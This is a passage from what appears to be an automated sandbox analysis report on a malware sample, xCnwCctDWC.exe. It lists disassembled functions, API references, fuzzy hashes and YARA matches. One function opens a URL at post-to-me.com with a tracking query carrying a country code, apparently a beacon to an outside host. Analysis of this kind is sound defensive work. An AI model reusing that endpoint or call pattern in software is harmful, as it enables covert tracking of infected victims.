Instruction ID: 0859fc20d6ca9edbd91405da37046d235d8e6426e57927cb21722cabffb6a948
Opcode Fuzzy Hash: 43bf8fd66d7f6bc55a1f9fed9459738edd5fcdcb33f80e65f48924bbb37db955
Instruction Fuzzy Hash: 1FF04631A002182BCF55BB75886286EF62B8F81B10B24036EF80053252DF24DE0587DA

Function 00417920 Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041273D: TlsGetValue.KERNEL32(?,?,00410B5B,00412C68,00000000,?,00410B39,?,?,?,00000000,?,00000000), ref: 00412743

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 0041794A

Part of subcall function 00420FB3: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00420FDA
Part of subcall function 00420FB3: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00420FF3
Part of subcall function 00420FB3: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00421069
Part of subcall function 00420FB3: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00421071

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 00417958
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00417962
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 0041796C
__CxxThrowException@8.LIBVCRUNTIME ref: 0041798A

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredException@8ExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceThrowValueVirtualWork
String ID:
API String ID: 4266703842-0
Opcode ID: 43bf8fd66d7f6bc55a1f9fed9459738edd5fcdcb33f80e65f48924bbb37db955
Instruction ID: 523e498e96a622df23a613ee45563367b5d22c9a8c27bf88e83bdf0efd96127b
Opcode Fuzzy Hash: 43bf8fd66d7f6bc55a1f9fed9459738edd5fcdcb33f80e65f48924bbb37db955
Instruction Fuzzy Hash: B0F04C31A0021427CE15B7269912AEEB7269F80724B40012FF40183382DF6C9E9987CD

Function 006AA0AC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 006AA0C4

Part of subcall function 006A36D1: HeapFree.KERNEL32(00000000,00000000,?,006AA35F,?,00000000,?,00000000,?,006AA603,?,00000007,?,?,006AA9F7,?), ref: 006A36E7
Part of subcall function 006A36D1: GetLastError.KERNEL32(?,?,006AA35F,?,00000000,?,00000000,?,006AA603,?,00000007,?,?,006AA9F7,?,?), ref: 006A36F9

_free.LIBCMT ref: 006AA0D6
_free.LIBCMT ref: 006AA0E8
_free.LIBCMT ref: 006AA0FA
_free.LIBCMT ref: 006AA10C

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 840ca0e3b6ef7411d9bccf2beb0d2f3308f2e3b12e8065f1d82b45f6a0a0fab8
Instruction ID: 28ec63df9e9733478fd6c312c9e8ddef7e07b42fc8c4dd5c8f7eb420fc29d2cf
Opcode Fuzzy Hash: 840ca0e3b6ef7411d9bccf2beb0d2f3308f2e3b12e8065f1d82b45f6a0a0fab8
Instruction Fuzzy Hash: FCF06232505610BB86A0FB94E8C3C5673DBAA02390B74091AF008D7B12CB75FC90CE6E

Function 00439E45 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00439E5D

Part of subcall function 0043346A: HeapFree.KERNEL32(00000000,00000000,?,0043A0F8,?,00000000,?,00000000,?,0043A39C,?,00000007,?,?,0043A790,?), ref: 00433480
Part of subcall function 0043346A: GetLastError.KERNEL32(?,?,0043A0F8,?,00000000,?,00000000,?,0043A39C,?,00000007,?,?,0043A790,?,?), ref: 00433492

_free.LIBCMT ref: 00439E6F
_free.LIBCMT ref: 00439E81
_free.LIBCMT ref: 00439E93
_free.LIBCMT ref: 00439EA5

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 840ca0e3b6ef7411d9bccf2beb0d2f3308f2e3b12e8065f1d82b45f6a0a0fab8
Instruction ID: 23fbe02493372c4549fca1a108de89c04d7fed3b0c796059023c71110852f737
Opcode Fuzzy Hash: 840ca0e3b6ef7411d9bccf2beb0d2f3308f2e3b12e8065f1d82b45f6a0a0fab8
Instruction Fuzzy Hash: 35F04F72505600ABA620EF59E483C1773D9BB08B11F68694BF00CD7751CB79FC808B5D

Function 006A1991 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006A19AF

Part of subcall function 006A36D1: HeapFree.KERNEL32(00000000,00000000,?,006AA35F,?,00000000,?,00000000,?,006AA603,?,00000007,?,?,006AA9F7,?), ref: 006A36E7
Part of subcall function 006A36D1: GetLastError.KERNEL32(?,?,006AA35F,?,00000000,?,00000000,?,006AA603,?,00000007,?,?,006AA9F7,?,?), ref: 006A36F9

_free.LIBCMT ref: 006A19C1
_free.LIBCMT ref: 006A19D4
_free.LIBCMT ref: 006A19E5
_free.LIBCMT ref: 006A19F6

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b228b96d46590c86949e27b4ef7eacf2620a314154de2a574f90fb6d598625a0
Instruction ID: 34d0212b54a389708f4f18fa2b1b8495bbf46b56cba721f8213bde7fc55a437b
Opcode Fuzzy Hash: b228b96d46590c86949e27b4ef7eacf2620a314154de2a574f90fb6d598625a0
Instruction Fuzzy Hash: EEF03070D04720AF9EA17F14AD814053BA2AF1B762710126AF402977B3C774DD62DF8E

Function 0068CF2C Relevance: 7.5, APIs: 5, Instructions: 30threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::CurrentSubscriptionLevel.LIBCONCRT ref: 0068CF36
Concurrency::details::SchedulerProxy::DecrementFixedCoreCount.LIBCONCRT ref: 0068CF67
GetCurrentThread.KERNEL32 ref: 0068CF70
Concurrency::details::SchedulerProxy::DecrementCoreSubscription.LIBCONCRT ref: 0068CF83
Concurrency::details::SchedulerProxy::DestroyExecutionResource.LIBCONCRT ref: 0068CF8C

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$CoreCurrentDecrementResourceSubscription$CountDestroyExecutionFixedLevelManager::Thread
String ID:
API String ID: 2583373041-0
Opcode ID: 996dff0fc395249e0236d91b5da2feb8ab8ec11bd453b3fcc2396c02b39d80d4
Instruction ID: 6e80626a4a886cddbcbd6bf3a1d2463bcb48199f8d5d734c2ae092127ed445c2
Opcode Fuzzy Hash: 996dff0fc395249e0236d91b5da2feb8ab8ec11bd453b3fcc2396c02b39d80d4
Instruction Fuzzy Hash: 50F0A032200510EBC665FF20EA508BAB3B7AFC4720310470CF68B46691CF31A907E775

Function 0043172A Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00431748

Part of subcall function 0043346A: HeapFree.KERNEL32(00000000,00000000,?,0043A0F8,?,00000000,?,00000000,?,0043A39C,?,00000007,?,?,0043A790,?), ref: 00433480
Part of subcall function 0043346A: GetLastError.KERNEL32(?,?,0043A0F8,?,00000000,?,00000000,?,0043A39C,?,00000007,?,?,0043A790,?,?), ref: 00433492

_free.LIBCMT ref: 0043175A
_free.LIBCMT ref: 0043176D
_free.LIBCMT ref: 0043177E
_free.LIBCMT ref: 0043178F

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b228b96d46590c86949e27b4ef7eacf2620a314154de2a574f90fb6d598625a0
Instruction ID: 2553f371f7fcd8ed3987e2465633d6fecf7e22fdbd4e0dd0ef6c31112bbbdc45
Opcode Fuzzy Hash: b228b96d46590c86949e27b4ef7eacf2620a314154de2a574f90fb6d598625a0
Instruction Fuzzy Hash: 5EF030B0D007509BAA226F19AC414053B60AF2D727B04626BF41797273C738D952DF8E

Function 0041CCC5 Relevance: 7.5, APIs: 5, Instructions: 30threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::CurrentSubscriptionLevel.LIBCONCRT ref: 0041CCCF
Concurrency::details::SchedulerProxy::DecrementFixedCoreCount.LIBCONCRT ref: 0041CD00
GetCurrentThread.KERNEL32 ref: 0041CD09
Concurrency::details::SchedulerProxy::DecrementCoreSubscription.LIBCONCRT ref: 0041CD1C
Concurrency::details::SchedulerProxy::DestroyExecutionResource.LIBCONCRT ref: 0041CD25

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$CoreCurrentDecrementResourceSubscription$CountDestroyExecutionFixedLevelManager::Thread
String ID:
API String ID: 2583373041-0
Opcode ID: 996dff0fc395249e0236d91b5da2feb8ab8ec11bd453b3fcc2396c02b39d80d4
Instruction ID: 58cdd2c6a275a740aba70ab995622b5563c0a51640fa297b0aaaaf7b877cb5c4
Opcode Fuzzy Hash: 996dff0fc395249e0236d91b5da2feb8ab8ec11bd453b3fcc2396c02b39d80d4
Instruction Fuzzy Hash: 73F082B6200500AB8625EF62F9518F67775AFC4715310091EE44B46651CF28A982D76A

Function 00672E6B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 180networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00451E78,00000000,00000000,00000000,00000000), ref: 00672E8E

Part of subcall function 00671321: _wcslen.LIBCMT ref: 00671328
Part of subcall function 00671321: _wcslen.LIBCMT ref: 00671344

InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 006730A1

Strings

&cc=DE, xrefs: 0067301B, 00673021, 0067307E
https://post-to-me.com/track_prt.php?sub=, xrefs: 00672EBE, 00672FEA, 00673059

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: InternetOpen_wcslen
String ID: &cc=DE$https://post-to-me.com/track_prt.php?sub=
API String ID: 3381584094-4083784958
Opcode ID: 8928d350cf755053b5b232c8fa9b688d7be6d8b3691c9b81f216a741e9bb68ff
Instruction ID: c91a487588524eefe718d23df6ceac77185632232e2ec7d47288f22486a0c944
Opcode Fuzzy Hash: 8928d350cf755053b5b232c8fa9b688d7be6d8b3691c9b81f216a741e9bb68ff
Instruction Fuzzy Hash: 865153A5A55344A9E320EFB0BC46B723378FF58712F10543AE518CB2B2E7B1D944875E

Function 006A4582 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006A46DB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006A46F0

Strings

]Ej, xrefs: 006A45FD
]Ej, xrefs: 006A46EA

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: ]Ej$]Ej
API String ID: 885266447-941888950
Opcode ID: e00c22cf9212fddccde6eda0d4f11a2eb8b15fda35716567c4cef15c7bcc9cff
Instruction ID: fe78e66578b8fb4a112ab943fc514744484a95dd16049077b3c5ba3a533265fe
Opcode Fuzzy Hash: e00c22cf9212fddccde6eda0d4f11a2eb8b15fda35716567c4cef15c7bcc9cff
Instruction Fuzzy Hash: 8A515D71A00248AFCB18EF58CC94AADBBB3EFCA314F198159E81897361DBB19D51CF44

Function 00698937 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0069896A
__IsNonwritableInCurrentImage.LIBCMT ref: 00698A23

Strings

csm, xrefs: 00698A0D
fB, xrefs: 00698A15, 00698A1E, 00698A2F

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: fB$csm
API String ID: 3480331319-1586063737
Opcode ID: be357bd56004c24e133951e3250c1e3ffc6610d741da1472be978505f667fff6
Instruction ID: 0fd706ab87adc2f66142a869d934e7e3169d41ba6f71ec1692fd8a861d8152a4
Opcode Fuzzy Hash: be357bd56004c24e133951e3250c1e3ffc6610d741da1472be978505f667fff6
Instruction Fuzzy Hash: 2541F830A00248DFCF10DF6CC845AEE7BBAAF46328F14815AE9159B792DB32DD01CB95

Function 0069F97F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\xCnwCctDWC.exe,00000104), ref: 0069F9BA
_free.LIBCMT ref: 0069FA85
_free.LIBCMT ref: 0069FA8F

Strings

C:\Users\user\Desktop\xCnwCctDWC.exe, xrefs: 0069F9B1, 0069F9B8, 0069F9E7, 0069FA1F

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\xCnwCctDWC.exe
API String ID: 2506810119-1700489078
Opcode ID: 344658832b7440f505bc5ce5f5f759f624a1cc75f0f479e4bcaf167d51fbcba4
Instruction ID: 30f2e0032669fd977e6f9900d39105ec24fd325be063fb74c4bbb952281503a3
Opcode Fuzzy Hash: 344658832b7440f505bc5ce5f5f759f624a1cc75f0f479e4bcaf167d51fbcba4
Instruction Fuzzy Hash: 11315E71A00258EFDF21DB999C8199EBBFDEF99710B21407AF808D7711D6709E41CB94

Function 0042F718 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\xCnwCctDWC.exe,00000104), ref: 0042F753
_free.LIBCMT ref: 0042F81E
_free.LIBCMT ref: 0042F828

Strings

C:\Users\user\Desktop\xCnwCctDWC.exe, xrefs: 0042F74A, 0042F751, 0042F780, 0042F7B8

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\xCnwCctDWC.exe
API String ID: 2506810119-1700489078
Opcode ID: 3308642da0636a63a4a634081c543339ebae9412bef6dab2f9d0c3185595a996
Instruction ID: fa775896cd6cad66ce7c6a69fb092310498b308cf57115ff02981d914fd4ae43
Opcode Fuzzy Hash: 3308642da0636a63a4a634081c543339ebae9412bef6dab2f9d0c3185595a996
Instruction Fuzzy Hash: 8F31B371B00228AFDB21DF9AAC8199FBBFCEF95304B90407BE80497211D7749E45CB98

Function 00428DCC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00431F5D), ref: 0042DF99
GetLastError.KERNEL32(00457910,00000010,00000003,00431F5D), ref: 0042DFD3
ExitThread.KERNEL32 ref: 0042DFDA

Strings

F(@, xrefs: 0042DFCC

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorExitFeatureLastPresentProcessorThread
String ID: F(@
API String ID: 3213686812-2698495834
Opcode ID: 6ee01334007aa82adf3d340a5c4addfef0f1634db691a06ca807f035a44bf27a
Instruction ID: 460a7fcc700e9d4f467f0dc096aafbc476958de37b1de63dc97b6f39ac05addf
Opcode Fuzzy Hash: 6ee01334007aa82adf3d340a5c4addfef0f1634db691a06ca807f035a44bf27a
Instruction Fuzzy Hash: 05F09772B8431675FA203B727D0BBAB15140F10B49F8A043FBE09D91C3DEACC550806E

Function 0042DF7D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00431F5D), ref: 0042DF99
GetLastError.KERNEL32(00457910,00000010,00000003,00431F5D), ref: 0042DFD3
ExitThread.KERNEL32 ref: 0042DFDA

Strings

F(@, xrefs: 0042DFCC, 0040F1E7

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorExitFeatureLastPresentProcessorThread
String ID: F(@
API String ID: 3213686812-2698495834
Opcode ID: 91ee149d9fba369ee1c9d7eb174c136b293f55629d39eb1465d14400ab2c345a
Instruction ID: f8bb832dc8ad97d2a89c5ed14b9cd2946ef4cec1cab2ecc574275c3dd80a03eb
Opcode Fuzzy Hash: 91ee149d9fba369ee1c9d7eb174c136b293f55629d39eb1465d14400ab2c345a
Instruction Fuzzy Hash: 50F05571BC431A36FA203BA17D0BB961A150F14B49F5A043BBF09991C3DAAC8550406E

Function 004242C7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::DestroyVirtualProcessorRoot.LIBCONCRT ref: 004242F9
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0042430B
__CxxThrowException@8.LIBVCRUNTIME ref: 00424319

Strings

pScheduler, xrefs: 00424303

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Concurrency::details::DestroyException@8ProcessorProxy::RootSchedulerThrowVirtualstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 1381464787-923244539
Opcode ID: 769659e6d923c4b3552f231c3f44feecbe41b2cf6e321d8ec93b2c2c5784424a
Instruction ID: b798ba3940b90e8ef47deb55f62f39db73067ed213726d5ff045b7a271978ec1
Opcode Fuzzy Hash: 769659e6d923c4b3552f231c3f44feecbe41b2cf6e321d8ec93b2c2c5784424a
Instruction Fuzzy Hash: 01F0EC31B012246BCB18FB55F842DAE73A99E40304791826FFC07A3582CF7CAA48C75D

Function 0041E61D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0041E63F
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041E652
__CxxThrowException@8.LIBVCRUNTIME ref: 0041E660

Strings

pContext, xrefs: 0041E64A

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Concurrency::details::Exception@8FreeIdleProxyProxy::ReturnThreadThrowstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 1990795212-2046700901
Opcode ID: dcb52fd98b5584c3b80ff9d31c366c3a26bd7d11e6a20f09b24124f16e188ac1
Instruction ID: d6030a9334a08ef0062fa40f2a301b8df50c17ab577a7f1bba150cce5c194b06
Opcode Fuzzy Hash: dcb52fd98b5584c3b80ff9d31c366c3a26bd7d11e6a20f09b24124f16e188ac1
Instruction Fuzzy Hash: D7E09B39B0011467CA04F765D80695DB7A9AEC0714755416BB915A3241DFB8A90586D8

Function 0042E03D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,0042E10D,00000000), ref: 0042E053
FreeLibrary.KERNEL32(00000000,00000000,?,0042E10D,00000000), ref: 0042E062
_free.LIBCMT ref: 0042E069

Strings

B, xrefs: 0042E043, 0042E068

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: CloseFreeHandleLibrary_free
String ID: B
API String ID: 621396759-3071617958
Opcode ID: 0165a14a54266ee5ab41e8b6b77e2709d96a9db653e1905d24e2523b41a394a7
Instruction ID: a93fca9343643b9b680b6377b12e384c9985fdeb2938c0e091f6cd96b84218d4
Opcode Fuzzy Hash: 0165a14a54266ee5ab41e8b6b77e2709d96a9db653e1905d24e2523b41a394a7
Instruction Fuzzy Hash: 14E04F32101B30EFD7315F06F808B47BB94AB11722F54842AE51911560C7B9A981CB98

Function 00415D8A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00415DBA
__CxxThrowException@8.LIBVCRUNTIME ref: 00415DC8

Strings

pScheduler, xrefs: 00415DB2
version, xrefs: 00415D9F

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 1687795959-3154422776
Opcode ID: cf3dcf23f28e66e546165a95d4b975c1e77b3dfef9a7f971167f04e255c6b8ec
Instruction ID: 95b2f980cd051b55abb92df33f42c2b53280e6b9db569f6f3bca5c1500423481
Opcode Fuzzy Hash: cf3dcf23f28e66e546165a95d4b975c1e77b3dfef9a7f971167f04e255c6b8ec
Instruction Fuzzy Hash: EEE08630900608F6CB14EA55D80ABDD77A56B51749F61C127785961091CBBC96C8CB4E

Function 006A5AFF Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006A5B8A
__alldvrm.LIBCMT ref: 006A5D8B
__alldvrm.LIBCMT ref: 006A5DAD

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 64c4271fdf953b23329a06ffcbcc4f91b3e2631876221f6b3ba7206c8ff3dfb5
Instruction ID: ac50a5b414cfd7ce1ae22711aa48ea5f6a3bdfa6ba257fae48c622cba6f330da
Opcode Fuzzy Hash: 64c4271fdf953b23329a06ffcbcc4f91b3e2631876221f6b3ba7206c8ff3dfb5
Instruction Fuzzy Hash: F4A10372900B869FDB25EE18C8957AABBA6EF13310F1441AEE5879B382C6348D41CF54

Function 00435898 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00435923
__alldvrm.LIBCMT ref: 00435B24
__alldvrm.LIBCMT ref: 00435B46

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: c132ce8b7a779d48d325dc1464a826f382782a4d305ff920fa0063c7638d007e
Instruction ID: f9e2c614c97b109978af50d7c538c2258677b2925616371172d48f7c9f1fa5ee
Opcode Fuzzy Hash: c132ce8b7a779d48d325dc1464a826f382782a4d305ff920fa0063c7638d007e
Instruction Fuzzy Hash: 44A15772A00B869FE721DE28C8817AEFBE5EF59310F28426FD5859B381C23C9D41C759

Function 006AFC6F Relevance: 6.2, APIs: 4, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006AFD9E

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: bd0f664e10209082f8b28efdae44aad90b5cc59672f94763d63ba3a93ec53303
Instruction ID: 5bb57b7dccc54b3f95780fb0e02305f378a0159b1d3ba572cc182497b5f088a3
Opcode Fuzzy Hash: bd0f664e10209082f8b28efdae44aad90b5cc59672f94763d63ba3a93ec53303
Instruction Fuzzy Hash: 8B411A31600500ABDB667BF88C45AAE36ABDF43770F24063DF428D6291DA754C418FAB

Function 0043FA08 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0043FB37

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 84a4b3704c3f7d6daab1b53251b5dd7fc6fa1148bfcc679931bd75404ad43a52
Instruction ID: 6d56401385933203687979e97415ab0492b269b4cfaee778896e5051d0ede453
Opcode Fuzzy Hash: 84a4b3704c3f7d6daab1b53251b5dd7fc6fa1148bfcc679931bd75404ad43a52
Instruction Fuzzy Hash: B6413871F00110ABDB247BBB9C42AAF7AA4EF4D334F24263BF418C6291D63C5D49426D

Function 006A6B04 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000004,00000000,0000007F,004497A0,00000000,00000000,8B56FF8B,006A047A,?,00000004,00000001,004497A0,0000007F,?,8B56FF8B,00000001), ref: 006A6B51
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 006A6BDA
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 006A6BEC
__freea.LIBCMT ref: 006A6BF5

Part of subcall function 006A390E: RtlAllocateHeap.NTDLL(00000000,0067DAD7,00000000), ref: 006A3940

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: f539721af51ef4dd6626a895736c7405872fbe6a6618a76e85aa91417d7c7683
Instruction ID: c0241b4648a834e8a7214ad3402ef47dad6cbbed7d899a98bdad099814c18310
Opcode Fuzzy Hash: f539721af51ef4dd6626a895736c7405872fbe6a6618a76e85aa91417d7c7683
Instruction Fuzzy Hash: 9E31B272A0021AABDF24EF64CC81DEE7BA6EF41714B194268FC14D7291E735DD61CBA0

Function 0067D652 Relevance: 6.1, APIs: 4, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0067D6AA
__Xtime_diff_to_millis2.LIBCPMT ref: 0067D6C4
_xtime_get.LIBCPMT ref: 0067D6E7
__Xtime_diff_to_millis2.LIBCPMT ref: 0067D6F3

Memory Dump Source

